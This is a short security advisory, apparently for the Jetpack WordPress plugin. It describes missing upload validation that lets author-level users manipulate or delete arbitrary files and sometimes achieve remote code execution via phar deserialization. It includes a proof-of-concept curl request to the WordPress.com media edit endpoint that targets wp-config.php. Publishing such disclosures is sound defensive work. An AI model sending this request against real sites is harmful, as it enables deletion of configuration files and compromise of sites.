The plugin does not validate uploaded files, allowing users with author roles or above to manipulate existing files on the site, deleting arbitrary files, and in rare cases achieve Remote Code Execution via phar deserialization.
curl --json ‘{ “media”: {“tmp_name”: “/WP_CONTENT_PATH/wp-config.php”, “name”: “test.txt”} }’ https://public-api.wordpress.com/rest/v1.2/sites/BLOG_ID/media/1/edit Where BLOG_ID is the site Jetpack blog id.